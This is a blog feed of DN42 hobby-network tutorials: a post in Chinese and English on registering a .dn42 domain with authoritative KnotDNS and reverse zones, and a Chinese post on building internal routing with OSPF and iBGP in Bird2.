diff --git a/data/inet6num/fd18:3e15:61d0::_48 b/data/inet6num/fd18:3e15:61d0::_48
index 53f0de06d..1ae067b00 100644
--- a/data/inet6num/fd18:3e15:61d0::_48
+++ b/data/inet6num/fd18:3e15:61d0::_48
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42

提交PR，等待合并

填写完后推送并提交Pull Request。因为DN42中人人都可以建立递归DNS，DNS配置完全生效可能要一周左右。虽然我实测合并后半天以内公共DNS（172.20.0.53）就已经能查询到我的记录了

特别感谢たのしい大佬，让我明白了DN42中IPv4反向解析与公网的不同之处参考文章：

https://www.haiyun.me/archives/1398.html
https://www.jianshu.com/p/7d69ec2976c7
https://www.potat0.cc/posts/20220726/Register_DN42_Domain/
https://bbs.csdn.net/topics/393775423
https://blog.snorlax.blue/knot-reverse-dns-kickstart/
http://www.kkdlabs.jp/dns/automatic-dnssec-signing-by-knot-dns/
https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/
https://datatracker.ietf.org/doc/html/rfc2317
https://datatracker.ietf.org/doc/html/rfc3152
https://datatracker.ietf.org/doc/html/rfc1912#section-2.2

DN42 - Ep.3 Registering a Domain and Setting Up Authoritative DNS in DN42

Sun, 03 Aug 2025 13:22:00 GMT

Foreword

I am a novice in BGP. This article may contain imprecise content/naive understandings/elementary mistakes. If you find any issues, you are welcome to contact me via email, and I will correct them as soon as possible. If you find this unacceptable, it is recommended to close this article now.

Assumption: You have already joined DN42, can normally send and receive routing tables, and can access IPs within DN42.

Article Update Log

August 3, 2025: First edition published.
March 15, 2026: Update typos. Thanks to @Auride.

Motivation

While debugging the network, I noticed that pinging or tracerouting others' DN42 IPs could display the reverse-resolved domain names, making it clear which nodes the route passed through, rather than just looking at IPs (as shown in the figure below). It's very intuitive, ~~letting others see at a glance if you've taken a detour~~. Therefore, I decided to register my own DN42 domain and set up an authoritative DNS service.

After reading Lantian's article, I saw he used a PowerDNS + MySQL master-slave synchronization solution. However, my server has limited performance (only 1 core, 1GB RAM), so I plan to use KnotDNS as the DNS server, utilizing the standard zone transfer protocol (AXFR/IXFR) for master-slave synchronization.

Preparations

:::warning The domain names and IPs mentioned in this and subsequent chapters are my own. Please replace them with your own during actual deployment; values enclosed in angle brackets need to be changed according to your requirements. :::

I chose the domain: yori.dn42, and plan to deploy DNS servers on three machines:

172.20.234.225, fd18:3e15:61d0::1, ns1.yori.dn42
172.20.234.227, fd18:3e15:61d0::3, ns2.yori.dn42
172.20.234.229, fd18:3e15:61d0::5, ns3.yori.dn42

Among them, ns1.yori.dn42 will be the master node, and ns2, ns3 will be the slave nodes.

Installing KnotDNS

If port 53 on the system is occupied by a process like systemd-resolvd, disable it first:

systemctl stop systemd-resolved
systemctl disable systemd-resolved
unlink /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf

I am using Debian 12, so I'll use APT for installation:

apt install knot knot-dnsutils -y

Set KnotDNS to start automatically:

systemctl enable knot

Configuring KnotDNS

Creating a Key

First, create a key for synchronization:

keymgr -t key_knsupdate

Copy the output:

# hmac-sha256:key_knsupdate:<your secret>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <your secret>

Editing the Configuration File

Master Node

Edit /etc/knot/knot.conf and fill in the following content:

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ <listen_address1>@53, <listen_address2>@53, ... ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

### Paste the Key generated in the previous step here
# hmac-sha256:key_knsupdate:<your secret>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <your secret>

remote:
  - id: <DNS_Node_1_ID>
    address: <DNS_Node_1_IP>@53

  - id: <DNS_Node_2_ID>
    address: <DNS_Node_2_IP>@53

  - id: <DNS_Node_3_ID>
    address: <DNS_Node_3_IP>@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: <DN42 Domain>
    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: <IPv4 Reverse Lookup Domain>
    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: <IPv6 Reverse Lookup Domain>
    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
    acl: [ acl_slave, acl_knsupdate ]

The listen addresses should include the machine's DN42 IPv4 and DN42 IPv6 addresses. For local debugging, you can add internal IPs like 127.0.0.1 and ::1.
The Slave Node IDs are the IDs set in the remote section for the servers you designated as slave nodes.
The address in remote can be an internal address, DN42 IPv4, or DN42 IPv6, used only for master-slave synchronization. If using an internal address, add it to the listen list.
The template section sets the Zone file storage location to /var/lib/knot.
The IPv4 Reverse Lookup Domain should follow the format specified in RFC 2317 based on your allocated IPv4 block. For example, my IPv4 block is 172.20.234.224/28, so my IPv4 reverse lookup domain should be 224/28.234.20.172.in-addr.arpa. This treats the last octet 224/28 as a whole, reverses the order of the remaining parts, and appends .in-addr.arpa.
The IPv6 Reverse Lookup Domain should follow the format specified in RFC 3152 based on your allocated IPv6 block. For example, my IPv6 block is fd18:3e15:61d0::/48, so my IPv6 reverse lookup domain should be 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa. This involves reversing the order of the nibbles in the network prefix (excluding the /48) and appending .ip6.arpa. Pad with zeros if necessary.

Example

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.225@53, fd18:3e15:61d0::1@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

# hmac-sha256:key_knsupdate:<key>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <key>

remote:
  - id: 225 # Master Node
    address: 172.20.234.225@53

  - id: 227 # Slave Node
    address: 172.20.234.227@53

  - id: 229 # Slave Node
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: yori.dn42
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 224/28.234.20.172.in-addr.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]

Slave Nodes

The configuration for slave nodes is largely similar to the master node. Just change the listen addresses to the slave node's addresses and modify the zone section configuration as follows:

--- a/knot.conf
+++ b/knot.conf
 zone:
   - domain: <DN42 Domain>
-    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <Master_Node_ID>
+    zonefile-load: whole
+    acl: acl_master
   - domain: <IPv4 Reverse Lookup Domain>
-    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <Master_Node_ID>
+    zonefile-load: whole
+    acl: acl_master
   - domain: <IPv6 Reverse Lookup Domain>
-    notify: [ <Slave_Node_1_ID>, <Slave_Node_2_ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <Master_Node_ID>
+    zonefile-load: whole
+    acl: acl_master

The Master Node ID is the ID set in the remote section for the server you designated as the master node.

Examp;e

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.227@53, fd18:3e15:61d0::3@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

# hmac-sha256:key_knsupdate:<key>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <key>

remote:
  - id: 225
    address: 172.20.234.225@53

  - id: 227
    address: 172.20.234.227@53

  - id: 229
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: yori.dn42
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 224/28.234.20.172.in-addr.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master

After writing the configuration file, run the following command to restart KnotDNS:

systemctl restart knot

Editing Zone Files

All configurations in this section are done on the primary DNS server. For record values (not hostnames) that require domain names, unless otherwise specified, please follow the RFC 1034 specification and use FQDN format.

DN42 Domain

Navigate to /var/lib/knot and create a file named <dn42_domain>.zone.

SOA Record

The first record of the zone must be the SOA record. The SOA record is the Start of Authority record, containing basic information about the domain, such as the primary NS server address. Fill in the following content:

@ <TTL> SOA <Primary_NS_Server_Address> <Contact_Email> <Serial_Number> <Refresh_Time> <Retry_Time> <Expire_Time> <Minimum_TTL>

@ represents the current domain itself, do not change it.
TTL: The TTL (Time To Live) value for this SOA record.
Primary NS Server Address: The address of the primary authoritative NS server for this domain. This can be a resolution within the domain. For example, my primary NS server is 172.20.234.225, and I plan to use ns1.yori.dn42. pointing to this address, so here I can fill in ns1.yori.dn42..
Contact Email: The email address, with @ replaced by .. For example, my email is i@iyoroy.cn, so here I can fill in i.iyoroy.cn.
Serial Number: A 10-digit number following RFC 1912, representing the version of the zone file. Other DNS servers will refetch the records if they detect an increase in the serial number when querying the SOA. It's commonly encoded using the date + a sequence number, so this value should be incremented after each modification.
Refresh Time:: The interval for AXFR slave nodes to pull the zone.
Retry Time: The retry interval for AXFR slave nodes after a failed pull.
Expire Time: The maximum time an AXFR slave node can continue serving with the last successfully pulled records after a failure, after which it stops responding.
Minimum TTL: The minimum TTL value for the entire domain, the minimum refresh time for all records. Records won't be refreshed before at least this much time has passed.

Examp;e

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

NS Records

@ <TTL> NS <NS_Server_1>
@ <TTL> NS <NS_Server_2>
@ <TTL> NS <NS_Server_3>

Fill this in according to your actual situation; add as many records as you have servers.

Example

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

A, AAAA, CNAME, etc. Records

Fill them in according to the following format:

<Hostname> <TTL> <Type> <Record_Value>

If your NS server values point to hosts within your own DN42 domain, be sure to add A or AAAA resolution records for them.

Example

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5

Complete Example

/var/lib/knot/yori.dn42.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5

IPv4 Reverse Lookup Domain

Create a file in /var/lib/knot named <IPv4_Reverse_Lookup_Domain>.zone, replacing / with _. For example, my IPv4 block is 172.20.234.224/28, and my IPv4 reverse lookup domain is 224/28.234.20.172.in-addr.arpa, so the filename here would be 224_28.234.20.172.in-addr.arpa.zone. Fill in the resolution records:

; SOA
@ <TTL> SOA <Primary_NS_Server_Address> <Contact_Email> <Serial_Number> <Refresh_Time> <Retry_Time> <Expire_Time> <Minimum_TTL>

; NS
@ <TTL> NS <NS_Server_1>
@ <TTL> NS <NS_Server_2>
@ <TTL> NS <NS_Server_3>
 
; PTR
<Last_IPv4_Octet> <TTL> PTR <Reverse_DNS_Value>
<Last_IPv4_Octet> <TTL> PTR <Reverse_DNS_Value>
<Last_IPv4_Octet> <TTL> PTR <Reverse_DNS_Value>
...

The SOA and NS records are the same as above.
Last IPv4 Octet: The last octet of the DN42 IPv4 address you assigned to the device. For example, my HK node is assigned 172.20.234.225, so here I would put 225.

Example

224_28.234.20.172.in-addr.arpa.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
 
; PTR
225 600 PTR hkg-cn.node.yori.dn42.
226 600 PTR nkg-cn.node.yori.dn42.
227 600 PTR tyo-jp.node.yori.dn42.
228 600 PTR hfe-cn.node.yori.dn42.
229 600 PTR lax-us.node.yori.dn42.

You might wonder why the CIDR mask is needed, which differs from the common Clearnet format of reversed octets (e.g., 234.20.172.in-addr.arpa). Also, if you test locally, you might find that reverse lookups for your own IP addresses fail directly.

The reason lies in DN42's distributed registry mechanism: a single zone file cannot cover all reverse query entry points for your address block (i.e., the .in-addr.arpa name for each specific IP address). To solve this, after your PR is merged, the official DN42 DNS will add CNAME redirects for your address block on its authoritative servers, pointing individual IP PTR queries to your CIDR-formatted zone, as shown below:

~$ dig PTR 225.234.20.172.in-addr.arpa  +short
225.224/28.234.20.172.in-addr.arpa.  # <-- CNAME added by Registry (redirect)
hkg-cn.node.yori.dn42.               # <-- Final PTR record returned by your DNS

When an external resolver queries the reverse record for a specific IP (e.g., 172.20.234.225) (querying 225.234.20.172.in-addr.arpa), the official DN42 DNS returns a CNAME record pointing it to the specific record under the CIDR zone name (225.224/28.234.20.172.in-addr.arpa). Ultimately, the PTR record is provided by your configured authoritative DNS server.

IPv6 Reverse Lookup Domain

Create a file in /var/lib/knot named <IPv6_Reverse_Lookup_Domain>.zone. For example, my IPv6 block is fd18:3e15:61d0::/48, and my IPv6 reverse lookup domain is 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa, so the filename here would be 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone. Fill in the resolution records:

; SOA
@ <TTL> SOA <Primary_NS_Server_Address> <Contact_Email> <Serial_Number> <Refresh_Time> <Retry_Time> <Expire_Time> <Minimum_TTL>

; NS
@ <TTL> NS <NS_Server_1>
@ <TTL> NS <NS_Server_2>
@ <TTL> NS <NS_Server_3>

; PTR
<Reversed_Last_20_Nibbles> <TTL> PTR <Reverse_DNS_Value>
<Reversed_Last_20_Nibbles> <TTL> PTR <Reverse_DNS_Value>
<Reversed_Last_20_Nibbles> <TTL> PTR <Reverse_DNS_Value>
...

Handle SOA and NS records as above.
For the PTR hostname, you need to take the last 80 bits of the host's IPv6 address (after removing the /48 prefix), expand them into 20 hexadecimal characters, and reverse the order of these characters, separating them with dots. For example, my Hong Kong node's IPv6 is fd18:3e15:61d0::1. Expanded, this is fd18:3e15:61d0:0000:0000:0000:0000:0001. The hostname here would be 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.

Example

0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; PTR
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hkg-cn.node.yori.dn42.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR nkg-cn.node.yori.dn42.
3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR tyo-jp.node.yori.dn42.
4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hfe-cn.node.yori.dn42.
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR lax-us.node.yori.dn42.

Verifying the Setup

After saving everything, run knot reload on each DNS server. If all goes well, you should see the slave nodes synchronizing the zone files from the master node. You can then use dig or nslookup specifying the server to query the resolution records.

Registration

Domain

Clone the DN42 Registry, navigate to data/dns, create a new file named <your_desired_domain>, and fill in the following content:

domain:             <your_desired_domain>
admin-c:            <Admin_NIC_Handle>
tech-c:             <Tech_NIC_Handle>
mnt-by:             <Maintainer>
nserver:            <NS1_Server_Domain> <NS1_Server_IP>
nserver:            <NS2_Server_Domain> <NS2_Server_IP>
nserver:            <NS3_Server_Domain> <NS3_Server_IP>
...
source:             DN42

Refer to DN42 - Ep.1 Joining the DN42 Network for admin-c, tech-c, and mnt-by.

Example

data/dns/yori.dn42

domain:             yori.dn42
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
nserver:            ns1.yori.dn42 172.20.234.225
nserver:            ns1.yori.dn42 fd18:3e15:61d0::1
nserver:            ns2.yori.dn42 172.20.234.227
nserver:            ns2.yori.dn42 fd18:3e15:61d0::3
nserver:            ns3.yori.dn42 172.20.234.229
nserver:            ns3.yori.dn42 fd18:3e15:61d0::5
source:             DN42

IPv4 Reverse Lookup Domain

Navigate to data/inetnum, find the file for your registered address block, and add nserver fields pointing to your own DNS servers:

nserver:            <your_DNS_server_address>
nserver:            <your_DNS_server_address>
...
...

Example

diff --git a/data/inetnum/172.20.234.224_28 b/data/inetnum/172.20.234.224_28
index 50c800945..5ad60e23d 100644
--- a/data/inetnum/172.20.234.224_28
+++ b/data/inetnum/172.20.234.224_28
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42

IPv6 Reverse Lookup Domain

Navigate to data/inet6num, find the file for your registered address block, and add nserver fields pointing to your own DNS servers:

nserver:            <your_DNS_server_address>
nserver:            <your_DNS_server_address>
...

Example

diff --git a/data/inet6num/fd18:3e15:61d0::_48 b/data/inet6num/fd18:3e15:61d0::_48
index 53f0de06d..1ae067b00 100644
--- a/data/inet6num/fd18:3e15:61d0::_48
+++ b/data/inet6num/fd18:3e15:61d0::_48
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42

Submit a PR and Wait for Merge

After filling everything out, push your changes and submit a Pull Request. Because anyone in DN42 can run recursive DNS, it might take up to a week for the DNS configuration to fully propagate, although I found that the public DNS (172.20.0.53) could query my records within half a day after merging.

Special thanks to たのしい for clarifying the differences between IPv4 reverse lookup in DN42 and the public internet.
Reference Articles:

https://www.haiyun.me/archives/1398.html
https://www.jianshu.com/p/7d69ec2976c7
https://www.potat0.cc/posts/20220726/Register_DN42_Domain/
https://bbs.csdn.net/topics/393775423
https://blog.snorlax.blue/knot-reverse-dns-kickstart/
http://www.kkdlabs.jp/dns/automatic-dnssec-signing-by-knot-dns/
https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/
https://datatracker.ietf.org/doc/html/rfc2317
https://datatracker.ietf.org/doc/html/rfc3152
https://datatracker.ietf.org/doc/html/rfc1912#section-2.2

DN42探究日记 - Ep.2 通过OSPF搭建内部网络并启用iBGP

Tue, 22 Jul 2025 05:46:00 GMT

写在前面

本文更新日志

2025年7月22日：文章第一版发布，使用VXLAN over WireGuard隧道
2025年7月25日：更新隧道方案，使用type ptp;以支持直接通过WireGuard传输OSPF流量（特别感谢Nuro Trance大佬指导！）
2025年8月8日：添加iBGP部分的解释和配置
2025年8月27日：更新节点拓扑结构图

为什么需要内部路由

当节点数量增多，我们需要一个合适的方式处理自己AS的内部路由。因为BGP路由只负责将数据包路由到AS，这就导致了一个问题：假如我有A、B两个节点都与别人peer，但是在路由器看来这两台设备同属于一个AS，从A节点发出的请求回包可能被回到B上。这个时候，如果没有做内部路由，则A会无法收到回包。因此，我们需要保证自家内网各个设备之间都能连通。常见的几种方式如下：

通过ZeroTier等组网工具：这种方式较为简单，只需要在每个节点上配置一个客户端即可实现各个节点之间的P2P连接。
通过WireGuard等P2P工具手动建立$\frac{n(n-1)}{2}$条隧道，效果同1，但是节点一多工作量呈平方级上升
通过WireGuard等P2P工具手动建立<$\frac{n(n-1)}{2}$条隧道，再通过OSPF、Babel等内网寻路协议建立内网路由，优点是较为灵活，易于后期添加新节点，缺点就是较为危险，容易配置错误引爆DN42。

~~因此我决定冒险一下~~

节点拓扑

graph LR
    A[HKG<br>172.20.234.225<br>fd18:3e15:61d0::1]
    B[NKG<br>172.20.234.226<br>fd18:3e15:61d0::2]
    C[TYO<br>172.20.234.227<br>fd18:3e15:61d0::3]
    D[FRA<br>172.20.234.228<br>fd18:3e15:61d0::4]
    E[LAX<br>172.20.234.229<br>fd18:3e15:61d0::5]

    B <--> A
    C <--> A
    A <--> E
    A <--> D
    C <--> D
    C <--> E
    D <--> E

更新Bird2至v2.16及以上

因为我希望使用IPv6 Link-Local地址传递IPv4的OSPF数据，而Bird在2.16及以后才支持这项功能，因此需要更新至v2.16。如果你不希望更新，可以先跳过此步骤。
使用以下指令安装最新版本的Bird2：

sudo apt update && sudo apt -y install apt-transport-https ca-certificates wget lsb-release
sudo wget -O /usr/share/keyrings/cznic-labs-pkg.gpg https://pkg.labs.nic.cz/gpg

echo "deb [signed-by=/usr/share/keyrings/cznic-labs-pkg.gpg] https://pkg.labs.nic.cz/bird2 $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/cznic-labs-bird2.list

sudo apt update && sudo apt install bird2 -y

配置隧道

[Interface]
PrivateKey = <本地WireGuard私钥>
ListenPort = <监听端口>
Table = off
Address = <IPv6 LLA>/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <对端公钥>
Endpoint = <对端公网接入点>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5

ff02::5是OSPFv3路由器专用的链路本地范围组播地址，需要添加进AllowedIPs。
如果你正在使用v2.16以前的Bird，请再为隧道配置一个IPv4地址，不一定非要是DN42 IPv4，其他私有地址也可以。请参考：

包含IPv4的WireGuard配置示例

[Interface]
PrivateKey = <本地WireGuard私钥>
ListenPort = <监听端口>
Table = off
Address = <IPv6 LLA>/64
PostUp = ip addr add 100.64.0.225/32 peer 100.64.0.226/32 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <对端公钥>
Endpoint = <对端公网接入点>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 100.64.0.0/16, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5

请将100.64.0.225、100.64.0.226替换为你本机的IPv4和对端的IPv4，并且记得加入AllowedIPs。

启用OSPF

默认你已经配置好了如上一篇文章所写的bird基础配置
在/etc/bird下新建一个名为ospf.conf的文件，填入如下内容：

protocol ospf v3 <name> {
    ipv4 {
        import where is_self_net() && source != RTS_BGP;
        export where is_self_net() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

protocol ospf v3 <name> {
    ipv6 {
        import where is_self_net_v6() && source != RTS_BGP;
        export where is_self_net_v6() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

理论上来说应该使用OSPF v2处理IPv4，但是因为需要通过IPv6 LLA地址通信IPv4，因此此处IPv4也使用OSPF v3。
过滤规则保证只有本网段内的路由能够通过OSPF传递，并且过滤掉外部BGP协议的路由
千万不要随意使用import all;export all;，有可能会导致路由劫持并影响到整个DN42网络。OSPF只应该处理网段内部的路由。

配置示例

/etc/bird/ospf.conf

protocol ospf v3 dn42_iyoroynet_ospf {
    ipv4 {
        import where is_self_net() && source != RTS_BGP;
        export where is_self_net() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

protocol ospf v3 dn42_iyoroynet_ospf6 {
    ipv6 {
        import where is_self_net_v6() && source != RTS_BGP;
        export where is_self_net_v6() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

接着，新建/etc/bird/ospf文件夹，在其中创建area配置文件（如：/etc/bird/ospf/0.conf），填写区域信息：

area 0.0.0.0 {
    interface "<DN42 dummy网卡>" { stub; };
    interface "<wg0网卡名称>" {
        cost 80; # 按照你的网络情况修改
        type ptp;
    };
    interface "<wg1网卡名称>" {
        cost 100; # 按照你的网络情况修改
        type ptp;
    };
    # 以此类推
};

0.0.0.0区域代表骨干网
此处dummy网卡指上一篇文章中所写的DN42虚拟网卡
cost值本应该是用于开销计算，但在DN42这种对带宽要求不大而对延迟较为敏感的场景下可以直接填写延迟，OSPF会自动走开销值之和最短的路由。

配置示例

/etc/bird/ospf/0.conf

area 0.0.0.0 {
    interface "dn42" { stub; };
    interface "dn42_hkg" {
        cost 80;
        type ptp;            
    };
    interface "dn42_hfe" {
        cost 150;
        type ptp;
    };
    interface "dn42_lax"{
        cost 100;
        type ptp;
    };
};

最后，打开/etc/bird/bird.conf，在末尾引入OSPF的配置文件：

include "ospf.conf";

运行birdc configure，然后birdc show protocols应该就能看到OSPF的状态是Running了。如果不是，请检查配置步骤是否出错。

此时，在非直连的两台机器上互相ping应该就能通了：

配置iBGP

在从多个地点建立对等连接之前，您的各个节点必须首先完整掌握自身网络的拓扑结构。除了所有外部 BGP 连接外，这还需要配置另一个关键组件：内部 BGP（即 iBGP）。

必要性

iBGP可以保证AS内部所有运行BGP的路由器都能获知到达外部目的地的完整BGP路由信息，进而确保：

内部路由器可以选择最优的出口路径。
流量能够被正确地引导到负责连接特定外部网络的边界路由器。
即使存在多个边界路由器连接到同一个外部网络，内部路由器也能根据策略选择最佳出口。
相比于在AS内部使用默认路由指向边界路由器，iBGP提供了精确的外部路由信息，使得内部路由器能做出更智能的转发决策。

缺点与解决方案

常规 iBGP 不会将从一个 iBGP 邻居学到的路由再通告给另一个 iBGP 邻居，因此在不使用路由反射器或联邦等机制时，需要建立全网状的 iBGP 邻居关系（Full Mesh）。n 个节点共需 $\frac{n(n-1)}{2}$ 条会话 ~~，没办法。不过 OSPF 起来之后 iBGP 配置还是比配置隧道简单的~~ 。解决方案就是：

使用路由反射器（Route Reflector, RR）：通过 RR 反射 iBGP 路由，减少全互联会话。只部署一个 RR 会引入单点风险，但可以通过多个 RR 做冗余；故障影响还取决于拓扑和路由保留行为。
通过BGP联盟（BGP Confederation） 搭建内部网络: 将AS内的路由器虚拟成一个个子AS，再把各个路由器之间的连接当作BGP处理，最后向外传递的时候抹去内部AS的路由路径。

后面两种方案我没有尝试过，下面是一些可能有用的参考文章。本文着重讨论iBGP的配置。

编写iBGP配置文件

在/etc/bird下新建文件ibgp.conf，填入如下内容：

template bgp ibgpeers {
    local as OWNAS;
    ipv4 {
        import where source = RTS_BGP && is_valid_network() && !is_self_net();
        export where source = RTS_BGP && is_valid_network() && !is_self_net();
        next hop self;
        extended next hop;
    };
    ipv6 {
        import where source = RTS_BGP && is_valid_network_v6() && !is_self_net_v6();
        export where source = RTS_BGP && is_valid_network_v6() && !is_self_net_v6();
        next hop self;
    };
};

include "ibgp/*";

导入和导出规则确保iBGP仅处理BGP协议学到的路由，并且过滤掉IGP的路由防止环回
在本文没有向内部传播外部邻居地址的拓扑下，需要 next hop self，将导出路由的下一跳改为边界路由器自身，使内部节点能够通过 IGP 到达它。它不是所有 iBGP 部署都必须启用的选项，关键是下一跳能否被正确解析和到达。
因为我希望使用IPv6地址建立MP-BGP，通过IPv6路由IPv4，因此在IPv4中启用了extended next hop

接着创建/etc/bird/ibgp文件夹，在其中为每台节点都创建一个iBGP Peer配置文件:

protocol bgp 'dn42_ibgp_<节点>' from ibgpeers{
    neighbor <对应节点的IPv6 ULA地址> as OWNAS;
};

样例

/etc/bird/ibgp/hkg.conf:

protocol bgp 'dn42_ibgp_HKG' from ibgpeers{
    neighbor fd18:3e15:61d0::1 as OWNAS;
};

注意：每个节点上都需要建立(n-1)个iBGP连接，保证和AS内其他所有机器都建立连接，这也是为什么需要使用ULA地址
